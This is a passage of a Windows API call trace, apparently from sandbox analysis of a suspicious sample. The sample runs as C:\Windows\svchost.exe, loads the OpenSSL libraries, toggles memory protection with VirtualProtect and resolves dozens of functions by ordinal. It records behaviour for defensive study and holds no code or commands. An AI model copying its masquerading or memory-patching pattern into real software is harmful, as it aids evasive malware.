!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18f350, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x96è\x99ð\x88ö\x18", lpUsedDefaultChar=0x0) returned 256 [0112.012] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x11147cd8, nSize=0x104 | out: lpFilename="C:\\Windows\\svchost.exe" (normalized: "c:\\windows\\svchost.exe")) returned 0x16 [0112.024] GetLastError () returned 0x0 [0112.024] SetLastError (dwErrCode=0x0) [0112.024] GetLastError () returned 0x0 [0112.024] SetLastError (dwErrCode=0x0) [0112.024] GetLastError () returned 0x0 [0112.024] SetLastError (dwErrCode=0x0) [0112.024] GetLastError () returned 0x0 [0112.025] SetLastError (dwErrCode=0x0) [0112.025] GetLastError () returned 0x0 [0112.025] SetLastError (dwErrCode=0x0) [0112.025] GetLastError () returned 0x0 [0112.025] SetLastError (dwErrCode=0x0) [0112.025] GetLastError () returned 0x0 [0112.025] SetLastError (dwErrCode=0x0) [0112.025] GetLastError () returned 0x0 [0112.025] SetLastError (dwErrCode=0x0) [0112.025] GetLastError () returned 0x0 [0112.026] SetLastError (dwErrCode=0x0) [0112.026] GetLastError () returned 0x0 [0112.026] SetLastError (dwErrCode=0x0) [0112.026] GetLastError () returned 0x0 [0112.026] SetLastError (dwErrCode=0x0) [0112.026] GetLastError () returned 0x0 [0112.026] SetLastError (dwErrCode=0x0) [0112.026] GetLastError () returned 0x0 [0112.026] SetLastError (dwErrCode=0x0) [0112.026] GetLastError () returned 0x0 [0112.027] SetLastError (dwErrCode=0x0) [0112.027] GetLastError () returned 0x0 [0112.027] SetLastError (dwErrCode=0x0) [0112.027] GetLastError () returned 0x0 [0112.027] SetLastError (dwErrCode=0x0) [0112.027] GetLastError () returned 0x0 [0112.027] SetLastError (dwErrCode=0x0) [0112.027] GetLastError () returned 0x0 [0112.027] SetLastError (dwErrCode=0x0) [0112.028] GetLastError () returned 0x0 [0112.028] SetLastError (dwErrCode=0x0) [0112.028] GetLastError () returned 0x0 [0112.028] SetLastError (dwErrCode=0x0) [0112.028] GetLastError () returned 0x0 [0112.028] SetLastError (dwErrCode=0x0) [0112.028] GetLastError () returned 0x0 [0112.028] SetLastError (dwErrCode=0x0) [0112.029] GetLastError () returned 0x0 [0112.029] SetLastError (dwErrCode=0x0) [0112.029] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1f) returned 0x2a19c8 [0112.029] GetLastError () returned 0x0 [0112.029] SetLastError (dwErrCode=0x0) [0112.029] GetLastError () returned 0x0 [0112.029] SetLastError (dwErrCode=0x0) [0112.029] GetLastError () returned 0x0 [0112.029] SetLastError (dwErrCode=0x0) [0112.030] GetLastError () returned 0x0 [0112.030] SetLastError (dwErrCode=0x0) [0112.030] GetLastError () returned 0x0 [0112.030] SetLastError (dwErrCode=0x0) [0112.030] GetLastError () returned 0x0 [0112.030] SetLastError (dwErrCode=0x0) [0112.030] GetLastError () returned 0x0 [0112.030] SetLastError (dwErrCode=0x0) [0112.030] GetLastError () returned 0x0 [0112.031] SetLastError (dwErrCode=0x0) [0112.031] GetLastError () returned 0x0 [0112.031] SetLastError (dwErrCode=0x0) [0112.031] GetLastError () returned 0x0 [0112.031] SetLastError (dwErrCode=0x0) [0112.031] GetLastError () returned 0x0 [0112.031] SetLastError (dwErrCode=0x0) [0112.031] GetLastError () returned 0x0 [0112.031] SetLastError (dwErrCode=0x0) [0112.031] GetLastError () returned 0x0 [0112.032] SetLastError (dwErrCode=0x0) [0112.032] GetLastError () returned 0x0 [0112.032] SetLastError (dwErrCode=0x0) [0112.032] GetLastError () returned 0x0 [0112.032] SetLastError (dwErrCode=0x0) [0112.032] GetLastError () returned 0x0 [0112.032] SetLastError (dwErrCode=0x0) [0112.032] GetLastError () returned 0x0 [0112.032] SetLastError (dwErrCode=0x0) [0112.032] GetLastError () returned 0x0 [0112.033] SetLastError (dwErrCode=0x0) [0112.033] GetLastError () returned 0x0 [0112.033] SetLastError (dwErrCode=0x0) [0112.033] GetLastError () returned 0x0 [0112.033] SetLastError (dwErrCode=0x0) [0112.033] GetLastError () returned 0x0 [0112.033] SetLastError (dwErrCode=0x0) [0112.033] GetLastError () returned 0x0 [0112.033] SetLastError (dwErrCode=0x0) [0112.033] GetLastError () returned 0x0 [0112.034] SetLastError (dwErrCode=0x0) [0112.034] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x9c) returned 0x2a19f0 [0112.034] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x1f) returned 0x2a1a98 [0112.034] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x36) returned 0x2a1ac0 [0112.034] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x37) returned 0x2a1b00 [0112.034] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x3c) returned 0x2a1b40 [0112.034] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x31) returned 0x2a1b88 [0112.034] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x17) returned 0x2a1bc8 [0112.034] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x24) returned 0x2a1be8 [0112.034] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x14) returned 0x2a1c18 [0112.034] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0xd) returned 0x2a1c38 [0112.034] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x25) returned 0x2a1c50 [0112.035] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x39) returned 0x2a1c80 [0112.035] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x18) returned 0x2a1cc8 [0112.035] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x17) returned 0x2a1ce8 [0112.035] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0xe) returned 0x2a1d08 [0112.035] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x69) returned 0x2a1d20 [0112.035] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x3e) returned 0x2a1d98 [0112.035] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x1b) returned 0x2a1de0 [0112.035] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x1d) returned 0x2a1e08 [0112.035] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x48) returned 0x2a1e30 [0112.035] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x12) returned 0x2a1e80 [0112.035] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x18) returned 0x2a1ea0 [0112.035] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x1b) returned 0x2a1ec0 [0112.035] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x24) returned 0x2a1ee8 [0112.035] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x29) returned 0x2a1f18 [0112.036] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x1e) returned 0x2a1f50 [0112.036] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0xc) returned 0x2a1f78 [0112.036] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x41) returned 0x2a1f90 [0112.036] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x17) returned 0x2a1fe8 [0112.250] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0xf) returned 0x2a2008 [0112.250] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x16) returned 0x2a2020 [0112.250] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x2a) returned 0x2a2040 [0112.250] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x29) returned 0x2a2078 [0112.250] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x15) returned 0x2a20b0 [0112.250] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x1e) returned 0x2a20d0 [0112.251] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x2a) returned 0x2a20f8 [0112.251] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x12) returned 0x2a2130 [0112.251] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x18) returned 0x2a2150 [0112.251] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x46) returned 0x2a2170 [0112.251] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2a09f0 | out: hHeap=0x2a0000) returned 1 [0112.251] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x76d30000 [0112.251] GetProcAddress (hModule=0x76d30000, lpProcName="IsProcessorFeaturePresent") returned 0x76d45235 [0112.251] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0112.253] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x800) returned 0x2a21c0 [0112.253] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x80) returned 0x2a09f0 [0112.348] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2a09f0) returned 0x80 [0112.390] GetLastError () returned 0x0 [0112.391] SetLastError (dwErrCode=0x0) [0112.391] GetLastError () returned 0x0 [0112.391] SetLastError (dwErrCode=0x0) [0112.417] GetLastError () returned 0x0 [0112.417] SetLastError (dwErrCode=0x0) [0112.417] GetLastError () returned 0x0 [0112.417] SetLastError (dwErrCode=0x0) [0112.581] SetErrorMode (uMode=0x0) returned 0x8000 [0112.903] SetErrorMode (uMode=0x8000) returned 0x0 [0112.974] LoadLibraryW (lpLibFileName="ssleay32.dll") returned 0x12000000 [0113.038] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x76d30000 [0113.039] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualProtect") returned 0x76d4435f [0113.039] VirtualProtect (in: lpAddress=0x1200015f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0x18f72c | out: lpflOldProtect=0x18f72c*=0x2) returned 1 [0113.052] VirtualProtect (in: lpAddress=0x1200015f, dwSize=0x78, flNewProtect=0x2, lpflOldProtect=0x18f72c | out: lpflOldProtect=0x18f72c*=0x4) returned 1 [0113.053] GetModuleHandleA (lpModuleName="LIBEAY32.dll") returned 0x11000000 [0113.053] GetProcAddress (hModule=0x11000000, lpProcName=0xb4e) returned 0x110713b0 [0113.053] GetProcAddress (hModule=0x11000000, lpProcName=0xb6f) returned 0x110739d0 [0113.053] GetProcAddress (hModule=0x11000000, lpProcName=0xae0) returned 0x110141f0 [0113.053] GetProcAddress (hModule=0x11000000, lpProcName=0x100) returned 0x11070e20 [0113.053] GetProcAddress (hModule=0x11000000, lpProcName=0xa8) returned 0x11061b10 [0113.053] GetProcAddress (hModule=0x11000000, lpProcName=0xabb) returned 0x11014150 [0113.054] GetProcAddress (hModule=0x11000000, lpProcName=0x3c1) returned 0x110708b0 [0113.054] GetProcAddress (hModule=0x11000000, lpProcName=0xa7) returned 0x11061ad0 [0113.054] GetProcAddress (hModule=0x11000000, lpProcName=0xa9) returned 0x11061a90 [0113.054] GetProcAddress (hModule=0x11000000, lpProcName=0xf04) returned 0x11078bb0 [0113.054] GetProcAddress (hModule=0x11000000, lpProcName=0xefd) returned 0x110ccd60 [0113.054] GetProcAddress (hModule=0x11000000, lpProcName=0xf38) returned 0x1109eb60 [0113.054] GetProcAddress (hModule=0x11000000, lpProcName=0x899) returned 0x1106b5b0 [0113.055] GetProcAddress (hModule=0x11000000, lpProcName=0x388) returned 0x11069cb0 [0113.055] GetProcAddress (hModule=0x11000000, lpProcName=0xb0) returned 0x11001e40 [0113.055] GetProcAddress (hModule=0x11000000, lpProcName=0x11a) returned 0x110764a0 [0113.055] GetProcAddress (hModule=0x11000000, lpProcName=0x23c) returned 0x11099610 [0113.055] GetProcAddress (hModule=0x11000000, lpProcName=0xc5d) returned 0x110707c0 [0113.055] GetProcAddress (hModule=0x11000000, lpProcName=0xda1) returned 0x11061df0 [0113.055] GetProcAddress (hModule=0x11000000, lpProcName=0x42f) returned 0x1107b9b0 [0113.056] GetProcAddress (hModule=0x11000000, lpProcName=0xb6d) returned 0x11070870 [0113.056] GetProcAddress (hModule=0x11000000, lpProcName=0x10c) returned 0x11070600 [0113.056] GetProcAddress (hModule=0x11000000, lpProcName=0x13c) returned 0x11074f50 [0113.056] GetProcAddress (hModule=0x11000000, lpProcName=0x16b) returned 0x1106eb60 [0113.056] GetProcAddress (hModule=0x11000000, lpProcName=0xa98) returned 0x110702e0 [0113.056] GetProcAddress (hModule=0x11000000, lpProcName=0x1044) returned 0x1107b940 [0113.056] GetProcAddress (hModule=0x11000000, lpProcName=0x1ed) returned 0x11049cb0 [0113.056] GetProcAddress (hModule=0x11000000, lpProcName=0x10a6) returned 0x1107b610 [0113.057] GetProcAddress (hModule=0x11000000, lpProcName=0xe87) returned 0x110618d0 [0113.057] GetProcAddress (hModule=0x11000000, lpProcName=0xd8) returned 0x1104b910 [0113.057] GetProcAddress (hModule=0x11000000, lpProcName=0x14d) returned 0x11075b90 [0113.057] GetProcAddress (hModule=0x11000000, lpProcName=0x101d) returned 0x1107b5b0 [0113.057] GetProcAddress (hModule=0x11000000, lpProcName=0x1176) returned 0x110ccd60 [0113.057] GetProcAddress (hModule=0x11000000, lpProcName=0x3f2) returned 0x11076430 [0113.057] GetProcAddress (hModule=0x11000000, lpProcName=0xfce) returned 0x110c1940 [0113.058] GetProcAddress (hModule=0x11000000, lpProcName=0xe62) returned 0x1105a3f0 [0113.058] GetProcAddress (hModule=0x11000000, lpProcName=0xb3d) returned 0x11053360 [0113.058] GetProcAddress (hModule=0x11000000, lpProcName=0xe7f) returned 0x11057c00 [0113.058] GetProcAddress (hModule=0x11000000, lpProcName=0x81) returned 0x110365c0 [0113.058] GetProcAddress (hModule=0x11000000, lpProcName=0x7c) returned 0x11036cb0 [0113.058] GetProcAddress (hModule=0x11000000, lpProcName=0x3e8) returned 0x11039c60 [0113.058] GetProcAddress (hModule=0x11000000, lpProcName=0x7d) returned 0x110367b0 [0113.058] GetProcAddress (hModule=0x11000000, lpProcName=0x96) returned 0x11036620 [0113.059] GetProcAddress (hModule=0x11000000, lpProcName=0xcd) returned 0x1104fd10 [0113.059] GetProcAddress (hModule=0x11000000, lpProcName=0x1e6) returned 0x11044af0 [0113.059] GetProcAddress (hModule=0x11000000, lpProcName=0x1e4) returned 0x11044810 [0113.059] GetProcAddress (hModule=0x11000000, lpProcName=0x241) returned 0x11083060 [0113.059] GetProcAddress (hModule=0x11000000, lpProcName=0x2fb) returned 0x11083010 [0113.059] GetProcAddress (hModule=0x11000000, lpProcName=0x38b) returned 0x110696e0 [0113.059] GetProcAddress (hModule=0x11000000, lpProcName=0x57) returned 0x11062520 [0113.059] GetProcAddress (hModule=0x11000000, lpProcName=0xd7a) returned 0x11076b80 [0113.060] GetProcAddress (hModule=0x11000000, lpProcName=0x83b) returned 0x11076bd0 [0113.060] GetProcAddress (hModule=0x11000000, lpProcName=0x80f) returned 0x11076b00 [0113.060] GetProcAddress (hModule=0x11000000, lpProcName=0x11b) returned 0x11076540 [0113.060] GetProcAddress (hModule=0x11000000, lpProcName=0xd5a) returned 0x1105a010 [0113.060] GetProcAddress (hModule=0x11000000, lpProcName=0x1e1) returned 0x11047190 [0113.060] GetProcAddress (hModule=0x11000000, lpProcName=0x143) returned 0x11075b40 [0113.060] GetProcAddress (hModule=0x11000000, lpProcName=0xb63) returned 0x110710b0 [0113.061] GetProcAddress (hModule=0x11000000, lpProcName=0xefc) returned 0x110cced0 [0113.061] GetProcAddress (hModule=0x11000000, lpProcName=0xf21) returned 0x11091030 [0113.061] GetProcAddress (hModule=0x11000000, lpProcName=0x448) returned 0x110bfc10 [0113.061] GetProcAddress (hModule=0x11000000, lpProcName=0x449) returned 0x110bfc70 [0113.061] GetProcAddress (hModule=0x11000000, lpProcName=0xcac) returned 0x11001d50 [0113.061] GetProcAddress (hModule=0x11000000, lpProcName=0xf22) returned 0x11078b50 [0113.061] GetProcAddress (hModule=0x11000000, lpProcName=0xee8) returned 0x110c0200 [0113.061] GetProcAddress (hModule=0x11000000, lpProcName=0xf30) returned 0x110ccd60 [0113.062] GetProcAddress (hModule=0x11000000, lpProcName=0x6d) returned 0x11062150 [0113.062] GetProcAddress (hModule=0x11000000, lpProcName=0xa1d) returned 0x11070660 [0113.062] GetProcAddress (hModule=0x11000000, lpProcName=0x4e) returned 0x11062700 [0113.062] GetProcAddress (hModule=0x11000000, lpProcName=0x5f) returned 0x11062bf0 [0113.062] GetProcAddress (hModule=0x11000000, lpProcName=0xf33) returned 0x11078b70 [0113.062] GetProcAddress (hModule=0x11000000, lpProcName=0x59) returned 0x11062090 [0113.062] GetProcAddress (hModule=0x11000000, lpProcName=0x479) returned 0x110bfce0 [0113.062] GetProcAddress (hModule=0x11000000, lpProcName=0x478) returned 0x110bfca0 [0113.063] GetProcAddress (hModule=0x11000000, lpProcName=0xf42) returned 0x11001d90 [0113.063] GetProcAddress (hModule=0x11000000, lpProcName=0x439) returned 0x1106d840 [0113.063] GetProcAddress (hModule=0x11000000, lpProcName=0x8f4) returned 0x11066770 [0113.063] GetProcAddress (hModule=0x11000000, lpProcName=0xeef) returned 0x11062080 [0113.063] GetProcAddress (hModule=0x11000000, lpProcName=0xf06) returned 0x11062060 [0113.063] GetProcAddress (hModule=0x11000000, lpProcName=0xbb) returned 0x11001dc0 [0113.063] GetProcAddress (hModule=0x11000000, lpProcName=0xf11) returned 0x11078b60 [0113.063] GetProcAddress (hModule=0x11000000, lpProcName=0x10b) returned 0x11070630 [0113.064] GetProcAddress (hModule=0x11000000, lpProcName=0xe5b) returned 0x11008b10 [0113.064] GetProcAddress (hModule=0x11000000, lpProcName=0xe99) returned 0x11008420 [0113.064] GetProcAddress (hModule=0x11000000, lpProcName=0xe31) returned 0x110084c0 [0113.064] GetProcAddress (hModule=0x11000000, lpProcName=0xe2f) returned 0x11007e00 [0113.064] GetProcAddress (hModule=0x11000000, lpProcName=0xe50) returned 0x11007fa0 [0113.064] GetProcAddress (hModule=0x11000000, lpProcName=0xd97) returned 0x11007e60 [0113.064] GetProcAddress (hModule=0x11000000, lpProcName=0x3f3) returned 0x11005a60 [0113.064] GetProcAddress (hModule=0x11000000, lpProcName=0x155) returned 0x11005bb0 [0113.065] GetProcAddress (hModule=0x11000000, lpProcName=0x3f4) returned 0x11007b70 [0113.065] GetProcAddress (hModule=0x11000000, lpProcName=0x1f7) returned 0x11007ce0 [0113.065] GetProcAddress (hModule=0x11000000, lpProcName=0x167) returned 0x1106f470 [0113.065] GetProcAddress (hModule=0x11000000, lpProcName=0x16d) returned 0x1106f560 [0113.065] GetProcAddress (hModule=0x11000000, lpProcName=0x124c) returned 0x11057d00 [0113.065] GetProcAddress (hModule=0x11000000, lpProcName=0xc78) returned 0x110b7f00 [0113.066] GetProcAddress (hModule=0x11000000, lpProcName=0xd3c) returned 0x110a24d0 [0113.066] GetProcAddress (hModule=0x11000000, lpProcName=0xdc8) returned 0x110c0200 [0113.066] GetProcAddress (hModule=0x11000000, lpProcName=0xa08) returned 0x110ccd60 [0113.066] GetProcAddress (hModule=0x11000000, lpProcName=0xcf0) returned 0x11075c60 [0113.066] GetProcAddress (hModule=0x11000000, lpProcName=0xf52) returned 0x1108d0c0 [0113.067] GetProcAddress (hModule=0x11000000, lpProcName=0xb52) returned 0x110c4480 [0113.067] GetProcAddress (hModule=0x11000000, lpProcName=0x108) returned 0x11071420 [0113.067] GetProcAddress (hModule=0x11000000, lpProcName=0x10a) returned 0x11070b80 [0113.067] GetProcAddress (hModule=0x11000000, lpProcName=0xbfb) returned 0x110713e0 [0113.067] GetProcAddress (hModule=0x11000000, lpProcName=0xcf1) returned 0x11075c70 [0113.067] GetProcAddress (hModule=0x11000000, lpProcName=0xcf2) returned 0x11075bf0 [0113.067] GetProcAddress (hModule=0x11000000, lpProcName=0x1072) returned 0x1106fb20 [0113.067] GetProcAddress (hModule=0x11000000, lpProcName=0x125d) returned 0x11083d20 [0113.068] GetProcAddress (hModule=0x11000000, lpProcName=0x28d) returned 0x110994d0 [0113.068] GetProcAddress (hModule=0x11000000, lpProcName=0x1254) returned 0x11099a10 [0113.068] GetProcAddress (hModule=0x11000000, lpProcName=0xf55) returned 0x1108d0a0 [0113.068] GetProcAddress (hModule=0x11000000, lpProcName=0x21d) returned 0x1108d080 [0113.068] GetProcAddress (hModule=0x11000000, lpProcName=0xa8e) returned 0x110c4460 [0113.068] GetProcAddress (hModule=0x11000000, lpProcName=0xc34) returned 0x110c44b0 [0113.068] GetProcAddress (hModule=0x11000000, lpProcName=0x1114) returned 0x1107c3f0 [0113.069] GetProcAddress (hModule=0x11000000, lpProcName=0x1030) returned 0x1107c390 [0113.069] GetProcAddress (hModule=0x11000000, lpProcName=0x104e) returned 0x1107c1d0 [0113.069] GetProcAddress (hModule=0x11000000, lpProcName=0x960) returned 0x11070ec0 [0113.069] GetProcAddress (hModule=0x11000000, lpProcName=0xec6) returned 0x110708d0 [0113.069] GetProcAddress (hModule=0x11000000, lpProcName=0x4b2) returned 0x11070890 [0113.069] GetProcAddress (hModule=0x11000000, lpProcName=0xc1) returned 0x11002560 [0113.069] GetProcAddress (hModule=0x11000000, lpProcName=0xf1a) returned 0x11062070 [0113.070] GetProcAddress (hModule=0x11000000, lpProcName=0xe78) returned 0x110c9690 [0113.070] GetProcAddress (hModule=0x11000000, lpProcName=0xeae) returned 0x110c96b0 [0113.070] GetProcAddress (hModule=0x11000000, lpProcName=0xeb7) returned 0x110c9690 [0113.070] GetProcAddress (hModule=0x11000000, lpProcName=0xe3f) returned 0x110c9780 [0113.070] GetProcAddress (hModule=0x11000000, lpProcName=0xeb6) returned 0x110c96d0 [0113.070] GetProcAddress (hModule=0x11000000, lpProcName=0xd25) returned 0x110c9650 [0113.070] GetProcAddress (hModule=0x11000000, lpProcName=0x1012) returned 0x110c9890 [0113.071] GetProcAddress (hModule=0x11000000, lpProcName=0xd84) returned 0x110ccd60 [0113.071] GetProcAddress (hModule=0x11000000, lpProcName=0xec7) returned 0x11071430 [0113.071] GetProcAddress (hModule=0x11000000, lpProcName=0xd7e) returned 0x110c9790 [0113.071] GetProcAddress (hModule=0x11000000, lpProcName=0xeaa) returned 0x110c9870 [0113.071] GetProcAddress (hModule=0x11000000, lpProcName=0xd42) returned 0x110ccd60 [0113.071] GetProcAddress (hModule=0x11000000, lpProcName=0x381) returned 0x1106a290 [0113.071] GetProcAddress (hModule=0x11000000, lpProcName=0xd56) returned 0x110a24e0 [0113.071] GetProcAddress (hModule=0x11000000, lpProcName=0xda7) returned 0x110a24f0 [0113.072] GetProcAddress (hModule=0x11000000, lpProcName=0xe1a) returned 0x110a2b00 [0113.072] GetProcAddress (hModule=0x11000000, lpProcName=0x43) returned 0x11062640 [0113.072] GetProcAddress (hModule=0x11000000, lpProcName=0x41) returned 0x110625f0 [0113.072] GetProcAddress (hModule=0x11000000, lpProcName=0x35) returned 0x11062760 [0113.072] GetProcAddress (hModule=0x11000000, lpProcName=0xcf3) returned 0x11075c00 [0113.072] GetProcAddress (hModule=0x11000000, lpProcName=0xef2) returned 0x11078ba0 [0113.072] GetProcAddress (hModule=0x11000000, lpProcName=0xde7) returned 0x110c2550 [0113.072] GetProcAddress (hModule=0x11000000, lpProcName=0xd47) returned 0x1109bfa0 [0113.073] GetProcAddress (hModule=0x11000000, lpProcName=0x27c) returned 0x110998e0 [0113.073] GetProcAddress (hModule=0x11000000, lpProcName=0x8d1) returned 0x1106a0a0 [0113.073] GetProcAddress (hModule=0x11000000, lpProcName=0x392) returned 0x11069900 [0113.073] GetProcAddress (hModule=0x11000000, lpProcName=0x9ae) returned 0x110c0ab0 [0113.073] GetProcAddress (hModule=0x11000000, lpProcName=0x272) returned 0x1109f380 [0113.073] GetProcAddress (hModule=0x11000000, lpProcName=0x37a) returned 0x11069d40 [0113.073] GetProcAddress (hModule=0x11000000, lpProcName=0x3ec) returned 0x11003f80 [0113.073] GetProcAddress (hModule=0x11000000, lpProcName=0xdc7) returned 0x110a23b0 [0113.074] GetProcAddress (hModule=0x11000000, lpProcName=0x11a1) returned 0x1106fa90 [0113.074] GetProcAddress (hModule=0x11000000, lpProcName=0x16c) returned 0x1106f050 [0113.074] GetProcAddress (hModule=0x11000000, lpProcName=0x803) returned 0x110ab0a0 [0113.074] GetProcAddress (hModule=0x11000000, lpProcName=0xce) returned 0x1104fcf0 [0113.074] GetProcAddress (hModule=0x11000000, lpProcName=0x1f1) returned 0x11049c90 [0113.074] GetProcAddress (hModule=0x11000000, lpProcName=0x55) returned 0x11062570 [0113.074] GetProcAddress (hModule=0x11000000, lpProcName=0x3a) returned 0x11064e40 [0113.074] GetProcAddress (hModule=0x11000000, lpProcName=0x276) returned 0x11099180 [0113.075] GetProcAddress (hModule=0x11000000, lpProcName=0x274) returned 0x110991e0 [0113.075] GetProcAddress (hModule=0x11000000, lpProcName=0x411) returned 0x11003e60 [0113.075] GetProcAddress (hModule=0x11000000, lpProcName=0x3ef) returned 0x11003fe0 [0113.075] GetProcAddress (hModule=0x11000000, lpProcName=0x3ed) returned 0x11004080 [0113.075] GetProcAddress (hModule=0x11000000, lpProcName=0x10eb) returned 0x1106eec0 [0113.075] GetProcAddress (hModule=0x11000000, lpProcName=0x403) returned 0x11003ec0 [0113.075] GetProcAddress (hModule=0x11000000, lpProcName=0xd6d) returned 0x110a2340 [0113.076] GetProcAddress (hModule=0x11000000, lpProcName=0x275) returned 0x1109f260 [0113.076] GetProcAddress (hModule=0x11000000, lpProcName=0x37c) returned 0x1106a0b0 [0113.076] GetProcAddress (hModule=0x11000000, lpProcName=0x4a) returned 0x110c2130 [0113.076] GetProcAddress (hModule=0x11000000, lpProcName=0xf8) returned 0x1106da80 [0113.076] GetProcAddress (hModule=0x11000000, lpProcName=0xd32) returned 0x110a2920 [0113.077] GetProcAddress (hModule=0x11000000, lpProcName=0x677) returned 0x11069990 